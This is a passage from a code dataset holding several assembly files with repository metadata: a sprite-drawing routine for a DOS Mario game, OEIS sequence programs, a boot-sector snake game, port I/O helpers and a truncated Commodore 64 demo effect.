$81,$82,$82,$82,$82,$83,$00,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$00 .db $85,$43,$86,$86,$86,$87,$00,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$00 .db $85,$4b,$86,$86,$86,$87,$00,$85,$4c,$86,$86,$86,$87,$85,$4d,$86,$86,$86,$87,$85,$4e,$86,$86,$86,$87,$85,$4f,$86,$86,$86,$87,$00 .db $85,$86,$86,$86,$86,$87,$00,$85,$86,$86,$86,$86,$87,$85,$86,$86,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$f0,$f3,$86,$87,$00 .db $85,$86,$43,$43,$86,$87,$00,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$f0,$f1,$f2,$f3,$87,$00 .db $85,$86,$43,$43,$86,$87,$00,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$f4,$8e,$8f,$f7,$87,$00 .db $85,$86,$43,$43,$86,$87,$00,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$c2,$c3,$86,$87,$00 .db $85,$86,$86,$43,$86,$87,$00,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$fc,$c0,$c7,$ff,$87,$00 .db $89,$8a,$8a,$8a,$8a,$8b,$00,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$89,$ee,$9e,$9e,$ef,$8b,$00 .db $81,$82,$82,$82,$82,$83,$00,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$00 .db $85,$43,$86,$86,$86,$87,$00,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$85,$53,$86,$86,$86,$87,$85,$53,$86,$86,$86,$87,$00 .db $85,$50,$86,$86,$86,$87,$00,$85,$51,$86,$86,$86,$87,$85,$52,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $85,$86,$f0,$f3,$86,$87,$00,$85,$86,$f0,$f3,$86,$87,$85,$86,$f0,$f3,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $85,$f0,$f1,$f2,$f3,$87,$00,$85,$f0,$f1,$f2,$f3,$87,$85,$f0,$f1,$f2,$f3,$87,$85,$70,$71,$72,$73,$87,$85,$78,$79,$7a,$7b,$87,$00 .db $85,$f4,$8c,$8d,$f7,$87,$00,$85,$f4,$9c,$9d,$f7,$87,$85,$f4,$f5,$f6,$f7,$87,$85,$74,$75,$76,$77,$87,$85,$7c,$7d,$7e,$7f,$87,$00 .db $85,$86,$c2,$c3,$86,$87,$00,$85,$86,$f9,$fa,$86,$87,$85,$86,$f9,$fa,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $85,$fc,$c0,$c1,$ff,$87,$00,$85,$fc,$bc,$bd,$ff,$87,$85,$fc,$fd,$fe,$ff,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $89,$ee,$c4,$c5,$ef,$8b,$00,$89,$ee,$be,$bf,$ef,$8b,$89,$ee,$eb,$ea,$ef,$8b,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$00 .db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
126
133
0.493552
7815f5ae3a32482c625e7e24f4882723601bae58
6,877
asm
Assembly
flipwalk.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
1e037e9acdd9e2bd172c9c2f928a546e5b53a36e
[ "MIT" ]
null
null
null
flipwalk.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
1e037e9acdd9e2bd172c9c2f928a546e5b53a36e
[ "MIT" ]
null
null
null
flipwalk.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
1e037e9acdd9e2bd172c9c2f928a546e5b53a36e
[ "MIT" ]
null
null
null
.model medium, stdcall .stack 120h .data flipSkin DB 14d flipc1 byte 06d flipc2 byte 04d .code drawWBackward proc x:word, y:word push AX push BX push CX push DX push SI push DI mov AX, @data mov DS, AX mov CX, x mov DX, y push CX mov ah, 0ch mov al, flipc2 ;1st row red portion add CX,8 int 10h inc CX int 10h inc CX int 10h inc CX int 10h add CX, 3 mov al,flipc1 int 10h pop CX push CX dec DX add CX,5 mov al,flipc2 ;row 2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 3 push CX dec DX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 4 push CX dec DX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h add CX,2 mov al,flipSkin int 10h pop CX ;row 5 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipc2 int 10h inc CX int 10h add CX,2 mov al,flipSkin int 10h inc CX int 10h inc CX int 10h pop CX ;row 6 push CX dec DX mov al,flipc1 int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h pop CX ;row 7 push CX dec DX mov al,flipc1 int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 8 push CX dec DX add CX,3 int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX ;row 9 push CX dec DX add CX,2 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 10 push CX dec DX add CX,1 mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h pop CX ;row 11 push CX dec DX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h pop CX ;row 12 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h pop CX ;row 13 push CX dec DX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h add CX,2 mov al,flipSkin int 10h inc CX mov al,flipc1 int 10h inc CX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc1 int 10h inc CX int 10h inc CX int 10h pop CX ;row 14 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 15 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h add CX,3 mov al,flipc2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX pop CX ;row 16 push CX dec DX mov al,flipSkin int 10h inc CX int 10h inc CX int 10h pop CX pop DI pop SI pop DX pop CX pop BX pop AX ret drawWBackward endp end
11.816151
55
0.445689
0ba832aa66825f315c93a5189ccb9776026c1209
512
asm
Assembly
programs/oeis/071/A071187.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/071/A071187.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/071/A071187.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A071187: Smallest prime factor of number of divisors of n. ; 1,2,2,3,2,2,2,2,3,2,2,2,2,2,2,5,2,2,2,2,2,2,2,2,3,2,2,2,2,2,2,2,2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,7,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,5,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3 seq $0,52409 ; a(n) = largest integer power m for which a representation of the form n = k^m exists (for some k). seq $0,20639 ; Lpf(n): least prime dividing n (when n > 1); a(1) = 1. Or, smallest prime factor of n, or smallest prime divisor of n.
85.333333
201
0.619141
7c376e0422490340eb67ac5d62460961486e8a5a
10,184
asm
Assembly
snake.asm
ksaweryr/boot-sector-snake
868c1fde52d563d26f5288ad64f9eba4f08067f3
[ "MIT" ]
null
null
null
snake.asm
ksaweryr/boot-sector-snake
868c1fde52d563d26f5288ad64f9eba4f08067f3
[ "MIT" ]
null
null
null
snake.asm
ksaweryr/boot-sector-snake
868c1fde52d563d26f5288ad64f9eba4f08067f3
[ "MIT" ]
null
null
null
; Copyright 2021 ksaweryr ; ; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), ; to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, ; and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES ; OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE ; OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. bits 16 org 0x7c00 ; MEMORY MAP ; ---------- ; SNAKEMEM:[0x00, 0x02] - food position (2 bytes; x, y) ; SNAKEMEM:[0x02, 0x04] - snake speed (2 bytes; dx, dy) ; SNAKEMEM:[0x04, 0x06] - snake length (2 bytes) ; SNAKEMEM:[0x06, 0x08] - current pseudo random number from LCG (2 bytes) ; SNAKEMEM:[0x08, 0x0d] - snake length as string (5 bytes) ; SNAKEMEM:[0x0d, 0x0e] - flag indicating wheter snake is alive ; SNAKEMEM:[0x0d, DATA_LEN] - positions of snake segments, from tail to head ; (head on [DATA_LEN-2, DATA_LEN]) (each 2 bytes; x, y) ; CONSTANTS ; --------- ; Absolute memory addresses VIDMEM equ 0xb800 ; video memory address as memory segment SNAKEMEM equ 0x050 ; game's memory address as memory segment TIMER equ 0x46c ; address of system time ; Game data memory addresses (relative to SNAKEMEM) FOOD_POS equ 0x00 ; address of food position SNAKE_SPEED equ 0x02 ; address of snake's speed SNAKE_LEN equ 0x04 ; address of snake's length LCG_X equ 0x06 ; address of current pseudo random number SZ_SNAKE_LEN equ 0x08 ; address of snake's length string representation ALIVE equ 0x0d STACK_BOTTOM equ 0x0e ; Other constants ROW_LENGTH equ 0x50 ; board width COL_HEIGHT equ 0x18 ; board height DATA_LEN equ STACK_BOTTOM + (ROW_LENGTH * COL_HEIGHT * 2) + 2 ; length of game's data LCG_A equ 0x61 ; LGC a value LCG_C equ 0x59 ; LGC c value ; MACROS ; ------ ; Changes character and colour to a single word which can be moved directly to ; video memory ; Note: in video memory character comes before colour but since x86 is little-endian, ; the colour is in the high-order byte %define printable(char, colour) (colour << 8 | char) ; CODE ; ---- start: xor ax, ax mov ds, ax mov es, ax mov fs, ax ; clear segments registers init_data: mov ax, SNAKEMEM mov ds, ax mov es, ax mov ss, ax ; data segment, extra segment, stack segment = SNAKEMEM mov cx, DATA_LEN xor ax, ax mov di, 0x00 rep stosb ; fill game's memory with 0 mov word [SNAKE_LEN], 0x01 ; set snake's length mov dx, word [fs:TIMER] mov word [LCG_X], dx ; set seed of LGC call move_food ; place food mov byte [ALIVE], 0x01 init_stack: mov bp, DATA_LEN ; the base pointer points to snake's head mov sp, bp push 0x280d ; push snake's initial position (40, 13) init_video: xor ah, ah mov al, 0x03 int 0x10 ; set video mode: 80x25 chars, 16-color push VIDMEM pop es ; set es to point at video memory game_loop: read_key: mov ah, 0x01 int 0x16 ; check buffer status jz calculate_new_head_pos xor ah, ah int 0x16 ; get keystroke cmp al, 'w' je handle_input.w cmp al, 's' je handle_input.s cmp al, 'a' je handle_input.a cmp al, 'd' je handle_input.d jmp calculate_new_head_pos handle_input: ; change the direction of snake by maximum 90 deg. .w: mov ax, word [SNAKE_SPEED] cmp al, 0x01 je calculate_new_head_pos xor ah, ah mov al, -0x01 mov word [SNAKE_SPEED], ax jmp calculate_new_head_pos .s: mov ax, word [SNAKE_SPEED] cmp al, -0x01 je calculate_new_head_pos xor ah, ah mov al, 0x01 mov word [SNAKE_SPEED], ax jmp calculate_new_head_pos .a: mov ax, word [SNAKE_SPEED] cmp ah, 0x01 je calculate_new_head_pos xor al, al mov ah, -0x01 mov word [SNAKE_SPEED], ax jmp calculate_new_head_pos .d: mov ax, word [SNAKE_SPEED] cmp ah, -0x01 je calculate_new_head_pos xor al, al mov ah, 0x01 mov word [SNAKE_SPEED], ax calculate_new_head_pos: mov ax, word [bp - 0x02] ; head position mov cx, word [SNAKE_SPEED] .move_head_vertically: add al, cl .check_top_border: cmp al, 0x00 jge .check_bottom_border add al, COL_HEIGHT jmp .move_head_horizontally .check_bottom_border: cmp al, COL_HEIGHT jl .move_head_horizontally sub al, COL_HEIGHT .move_head_horizontally: add ah, ch .check_left_border: cmp ah, 0x00 jge .check_right_border add ah, ROW_LENGTH jmp .store .check_right_border: cmp ah, ROW_LENGTH jl .store sub ah, ROW_LENGTH .store: mov bx, ax move_body: mov si, sp mov cx, word [SNAKE_LEN] dec cx test cx, cx jz move_head ; skip if snake's length is 1 .loop: mov dx, word [si + 0x02] cmp dx, bx ; bx holds head position jnz .store mov byte [ALIVE], 0x00 ; end the game if head hits snake's body .store: mov word [si], dx ; set nth segment new position to (n-1)th ; segment old position add si, 0x02 loop .loop move_head: mov word [bp - 0x02], bx eat_food: mov ax, word [FOOD_POS] cmp ax, bx jne clear_board inc word [SNAKE_LEN] mov si, sp push word [si] ; add new snake segment call move_food ; relocate food clear_board: xor di, di mov cx, COL_HEIGHT * ROW_LENGTH mov ax, printable(' ', 0x00) ; colour: black rep stosw draw_snake: mov si, sp mov bh, byte [ALIVE] xor bh, 1 ; bl = 0 if alive; else 1 shl bh, 1 add bh, 0x0a ; colour: bright green if alive; else bright red mov cx, word [SNAKE_LEN] .loop: call coords_to_addr add si, 0x02 mov ah, bh mov al, 0xfe ; CCSID 437 character: black square stosw loop .loop sub byte [es:di - 0x01], 0x08 ; darken the head draw_food: lea si, word [FOOD_POS] call coords_to_addr mov ax, printable(0x04, 0x05) ; CCSID 437 character: diamond; colour: purple stosw print_score: mov ax, word [SNAKE_LEN] ; convert snake length to string mov dl, 0x0a mov di, SNAKEMEM + SZ_SNAKE_LEN mov byte [di], 0x00 .itoa_loop: dec di div dl add ah, '0' mov byte [di], ah xor ah, ah test al, al jnz .itoa_loop mov si, di mov di, (ROW_LENGTH * (COL_HEIGHT + 0x01) - 0x05) * 0x02 .loop: lodsb test al, al jz end_if_dead mov ah, 0x03 ; colour: cyan stosw jmp .loop end_if_dead: mov al, byte [ALIVE] test al, al jz end delay: mov ax, word [fs:TIMER] inc ax ; wait for 2 ticks .wait: cmp ax, word [fs:TIMER] jge .wait jmp game_loop end: .await_restart: mov ah, 0x01 int 0x16 jz .await_restart ; do nothing until any key is pressed jmp start ; restart the game ; FUNCTIONS ; --------- ; change (x, y) coordinates to memory address ; param si: address of (x, y) coordinates ; return value: di ; clobbered registres: ax, dx coords_to_addr: mov dx, word [si] mov al, ROW_LENGTH shl al, 0x01 mul dl movzx di, dh shl di, 0x01 add di, ax ret ; move food to next position ; clobbered registers: ax, cx, dx move_food: .next_random_number: mov ax, word [LCG_X] mov dx, LCG_A mul dx add ax, LCG_C mov word [LCG_X], ax mov cx, ax movzx ax, al mov dl, COL_HEIGHT div dl mov cl, ah ; new food position's y movzx ax, ch mov dl, ROW_LENGTH div dl mov ch, ah ; new food position's x mov word [FOOD_POS], cx ret times 510-($-$$) db 0x00 dw 0xaa55
31.432099
149
0.537412
34da57517694ac08a8f64f17e185d49d03e10043
539
asm
Assembly
programs/oeis/001/A001855.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/001/A001855.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/001/A001855.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A001855: Sorting numbers: maximal number of comparisons for sorting n elements by binary insertion. ; 0,1,3,5,8,11,14,17,21,25,29,33,37,41,45,49,54,59,64,69,74,79,84,89,94,99,104,109,114,119,124,129,135,141,147,153,159,165,171,177,183,189,195,201,207,213,219,225,231,237,243,249,255,261,267,273,279,285,291,297,303,309,315,321,328,335,342,349,356,363,370,377,384,391,398,405,412,419,426,433,440,447,454,461,468,475,482,489,496,503,510,517,524,531,538,545,552,559,566,573 mov $2,1 lpb $0 add $1,$0 trn $0,$2 mul $2,2 lpe mov $0,$1
49
370
0.71243
fd06dca4c9e1a711038c5b2cf4fff8aa2ef13460
455
asm
Assembly
src/kernel/asm/cpu/ports.asm
Krzem5/Assembly-64Bit_Uefi_Kernel
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
[ "BSD-3-Clause" ]
4
2021-03-06T12:01:16.000Z
2021-04-19T12:35:26.000Z
src/kernel/asm/cpu/ports.asm
Krzem5/Assembly-64Bit_Uefi_Kernel
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
[ "BSD-3-Clause" ]
null
null
null
src/kernel/asm/cpu/ports.asm
Krzem5/Assembly-64Bit_Uefi_Kernel
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
[ "BSD-3-Clause" ]
null
null
null
bits 64 global asm_port_in8 global asm_port_in16 global asm_port_in32 global asm_port_out8 global asm_port_out16 global asm_port_out32 asm_port_in8: mov dx, cx in al, dx ret asm_port_in16: mov dx, cx in ax, dx ret asm_port_in32: mov dx, cx in eax, dx ret asm_port_out8: mov al, dl mov dx, cx out dx, al ret asm_port_out16: mov ax, dx mov dx, cx out dx, ax ret asm_port_out32: mov eax, edx mov dx, cx out dx, eax ret
8.584906
21
0.712088
2380655039666ffb2b5229820d37551368137a3a
345
asm
Assembly
programs/oeis/138/A138130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/138/A138130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/138/A138130.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A138130: Powers of 1729, the Hardy-Ramanujan number. ; 1,1729,2989441,5168743489,8936757492481,15451653704499649,26715909255079893121,46191807102033135206209,79865634479415290771535361,138087682014909037743984639169,238753602203777726259349441123201,412804978210331688702415183702014529 mov $1,1 lpb $0 sub $0,1 mul $1,1729 lpe mov $0,$1
34.5
233
0.846377
6d75dc5344454e1c3f19c0da77c0386200ec32cd
20,259
asm
Assembly
layers/layers.asm
yupferris/makeshift
609671c97ce82a2783fa0c8cf25f4b3140d7cabe
[ "MIT" ]
29
2017-07-22T12:33:06.000Z
2020-09-07T01:44:13.000Z
layers/layers.asm
logicomacorp/makeshift
609671c97ce82a2783fa0c8cf25f4b3140d7cabe
[ "MIT" ]
1
2017-07-22T12:45:49.000Z
2017-07-22T12:57:49.000Z
layers/layers.asm
logicomacorp/makeshift
609671c97ce82a2783fa0c8cf25f4b3140d7cabe
[ "MIT" ]
2
2017-08-08T11:54:34.000Z
2020-06-17T09:22:04.000Z
#import "../common.inc" #import "layers.inc" #import "../fld-text/fld-text.inc" .const color_mem_shift_speedcode = $6600 .const color_layer_picture_addr = $7d00 .const vic_bank_offset = $c000 .const screen_mem_offset = vic_bank_offset + $2c00 .const sprite_pointer_offset = screen_mem_offset + $03f8 .const screen_mem_bits = ((screen_mem_offset - vic_bank_offset) / $400) << 4 .const sprite_data_block_offset = $0600 .const zp_base = $02 .const scroll_text_offset = zp_base .const scroll_text_offset_two_frame_toggle_enable = zp_base + 1 .const scroll_text_block = zp_base + 2 .const scroll_text_text_offset = zp_base + 3 .const scroll_text_color_offset = zp_base + 4 .const draw_next_int_update_mode = zp_base + 6 .const draw_scroll_text_offset = zp_base + 7 .const draw_scroll_text_block = zp_base + 8 .const draw_scroll_text_color_offset = zp_base + 9 .const char_set_index = zp_base + 10 .const scroll_y = zp_base + 11 .const dispatch_color_mem_shift = zp_base + 12 .const two_frame_toggle = zp_base + 13 .const color_layer_picture_addr_low = zp_base + 14 .const color_layer_picture_addr_high = zp_base + 15 .const dispatch_done = zp_base + 16 .const temp_char_set_index = zp_base + 17 .const temp_pixel_y = zp_base + 18 .const temp_c = zp_base + 19 .const temp_char_x = zp_base + 20 .const temp_char_y = zp_base + 21 .const temp_line = zp_base + 22 .const temp_i = zp_base + 23 .const temp_font_char_offset = zp_base + 24 .const temp_scroll_text_expand_block = zp_base + 17 .const temp_sprite_y = zp_base + 18 .pc = layers_code_base "interface" jmp init_bg jmp init_int .pc = * "init bg" init_bg: .pc = * "color mem shift speedcode template" // Generate color mem shift speedcode lda #<color_mem_shift_speedcode sta block_write_addr_low lda #>color_mem_shift_speedcode sta block_write_addr_high ldx #$00 gen_color_mem_shift_speedcode_y: txa pha ldx #$00 gen_color_mem_shift_speedcode_x: txa pha lda #LDA_ABS jsr block_write_byte gen_color_mem_shift_speedcode_load_low_instr: lda #40 jsr block_write_byte gen_color_mem_shift_speedcode_load_high_instr: lda #$d8 jsr block_write_byte lda #STA_ABS jsr block_write_byte gen_color_mem_shift_speedcode_store_low_instr: lda #$00 jsr block_write_byte gen_color_mem_shift_speedcode_store_high_instr: lda #$d8 jsr block_write_byte inc gen_color_mem_shift_speedcode_load_low_instr + 1 bne !+ inc gen_color_mem_shift_speedcode_load_high_instr + 1 !: inc gen_color_mem_shift_speedcode_store_low_instr + 1 bne !+ inc gen_color_mem_shift_speedcode_store_high_instr + 1 !: pla tax inx cpx #40 bne gen_color_mem_shift_speedcode_x pla tax inx cpx #24 bne gen_color_mem_shift_speedcode_y // Write rts at the end lda #RTS jsr block_write_byte // Clear color RAM // We actually write a bit past color RAM here, but that's fine, since next we'll clear the whole bank anyways /*lda #$00 tax ldy #$04 clear_color_ram_outer: clear_color_ram_inner: clear_color_ram_store_instr: sta $d800, x inx bne clear_color_ram_inner inc clear_color_ram_store_instr + 2 dey bne clear_color_ram_outer*/ // Bank out io regs lda #$34 sta $01 // Clear entire VIC bank except the last 512 bytes which we won't use lda #$00 tax ldy #$3e clear_vic_bank_outer: clear_vic_bank_inner: clear_vic_bank_store_instr: sta vic_bank_offset, x inx bne clear_vic_bank_inner inc clear_vic_bank_store_instr + 2 dey bne clear_vic_bank_outer // Generate pattern lda #>vic_bank_offset sta block_write_addr_high ldx #$00 gen_char_patterns_char_index: txa pha stx temp_char_set_index lda #<vic_bank_offset sta block_write_addr_low // Small slash pattern (chars 0-15) ldx #$00 gen_char_pattern_pixel_y: txa pha sec sbc temp_char_set_index sec sbc temp_char_set_index tay ldx #$00 gen_char_pattern_pixel_x: tya lsr lsr lsr rol temp_c iny inx cpx #$08 bne gen_char_pattern_pixel_x lda temp_c jsr block_write_byte pla tax inx cpx #$08 bne gen_char_pattern_pixel_y lda block_write_addr_high clc adc #$08 sta block_write_addr_high pla tax inx cpx #$08 bne gen_char_patterns_char_index // Bank in io regs lda #$35 sta $01 // Generate color layer picture lda #<color_layer_picture_addr sta block_write_addr_low lda #>color_layer_picture_addr sta block_write_addr_high // Start with 12 black char lines (2 char rows + spaces between) ldx #$00 gen_color_layer_blank_lines_1: txa pha ldx #40 !: lda #$00 jsr block_write_byte dex bne !- pla tax inx cpx #12 bne gen_color_layer_blank_lines_1 // Plasma ldx #$00 gen_color_layer_picture_plasma_y: txa pha stx temp_char_y txa asl asl clc adc temp_char_y sta gen_color_layer_picture_plasma_add_instr + 1 ldx #$00 !: txa pha stx temp_char_x asl asl clc adc temp_char_x tax lda layers_sin_tab_1, x clc gen_color_layer_picture_plasma_add_instr: adc layers_sin_tab_1 tax lda layers_sin_tab_2, x clc adc #$08 tax lda color_layer_palette, x jsr block_write_byte inc gen_color_layer_picture_plasma_add_instr + 1 pla tax inx cpx #40 bne !- pla tax inx cpx #(24 * 3) bne gen_color_layer_picture_plasma_y // End with a full black screen, plus a couple buffer lines ldx #$00 gen_color_layer_blank_lines_2: txa pha ldx #40 !: lda #$00 jsr block_write_byte dex bne !- pla tax inx cpx #(24 + 2) bne gen_color_layer_blank_lines_2 // Reset color layer pointer !: lda #<color_layer_picture_addr sta color_layer_picture_addr_low lda #>color_layer_picture_addr sta color_layer_picture_addr_high // Init vars lda #$00 sta scroll_text_offset sta scroll_text_block sta scroll_text_text_offset sta char_set_index sta dispatch_color_mem_shift sta two_frame_toggle sta dispatch_done lda #$07 sta scroll_text_offset_two_frame_toggle_enable lda #12 sta scroll_text_color_offset lda #$07 sta scroll_y // Load screen mem pattern data lda #<screen_mem_offset sta block_write_addr_low lda #>screen_mem_offset sta block_write_addr_high ldx #$00 load_screen_mem_y: txa pha ldx #$00 !: lda #$00 jsr block_write_byte inx cpx #40 bne !- pla tax inx cpx #25 bne load_screen_mem_y rts .pc = * "init int" init_int: // Set up frame interrupt lda #<frame sta $fffe lda #>frame sta $ffff lda #$ff sta $d012 // Reset cycle counter lda #$00 sta cycle_counter // Init bg mode lda #$10 // Screen enabled, text mode, 24 rows, 0 scroll sta $d011 rts .pc = * "frame" frame: pha txa pha tya pha lda $01 pha // Bank in io regs lda #$35 sta $01 // Reset VIC bank lda #$c4 sta $dd00 // Update music //inc $d020 jsr music + 3 //dec $d020 // Set up sprite settings // Set up sprite x positions (lower bits) lda #(24 + 8) ldx #$00 !: sta $d000, x clc adc #(8 * 5) inx inx cpx #$10 bne !- // Set up sprite x positions (higher bits) lda #$c0 sta $d010 // Set up sprite color settings lda #$ff sta $d01c // Set up sprite widths lda #$00 sta $d01d // Set up sprite heights lda #$ff sta $d017 // Enable sprites lda #$ff sta $d015 // Set initial sprite priorities lda #$ff sta $d01b // Set hires mode lda $d016 and #$ef sta $d016 //dec $d020 // Update lda two_frame_toggle and #$01 bne two_frame_toggle_true // scroll_y = (scroll_y - 1) & 0x07; dec scroll_y lda scroll_y and #$07 sta scroll_y lda $d011 and #$78 // Mask out bit 8 of raster pos and scroll bits ora scroll_y sta $d011 // char_set_index = (char_set_index + 1) & 